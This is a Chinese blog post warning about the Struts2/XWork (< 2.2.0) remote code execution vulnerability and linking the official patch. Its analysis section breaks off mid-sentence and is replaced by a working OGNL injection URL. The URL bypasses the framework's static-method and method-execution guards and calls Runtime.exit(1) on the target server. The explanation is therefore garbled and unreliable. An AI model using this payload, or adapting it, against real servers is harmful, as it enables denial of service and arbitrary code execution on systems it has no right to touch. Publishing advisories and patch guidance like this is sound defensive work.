Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
1.exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞,此漏洞危害之大,可谓百发百中,直接root,只要采用了Struts2和webwork框架的系统(对于webwork的版本,不太清楚,我这里没环境对其一一测试,这里有两者关系的介绍),基本上无一幸免。
2.昨天在接到朋友的提醒后,迅速将公司的一些使用此框架开发的项目漏洞修补了,我想大部分大公司的也在第一时间修补的差不多了,但是仍有很多公司,没有安全团队的,估计被黑了还被蒙在鼓里,感觉有必要在这里提醒下使用struts开发的朋友们,因为毕竟自己当初也做过java的开发。
3.漏洞成因在漏洞的poc中已经说的很详细了,但是都是英文的,而且对于Java不了解的人,可能会看得一头雾水,这里简单分析下,其实也是将原文粗略的翻译下了,对于其中名词不熟悉的请Google之:
Struts2的核心是使用的webwork框架,而webwork又是使用的java.lang.Runtime.getRuntime().exit(1)
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1
4.如何修补此漏洞:
目前官方已出了补丁:http://svn.apache.org/viewvc?view=revision&revision=956389
5.快写完了,发现绿盟也将这个漏洞中文说明也发出来了,不过标题是:XWork ParameterInterceptor类绕过安全限制漏洞
严格点说,这个应该是XWork的漏洞,谁让Struts2用的是人家的核心呢?:)。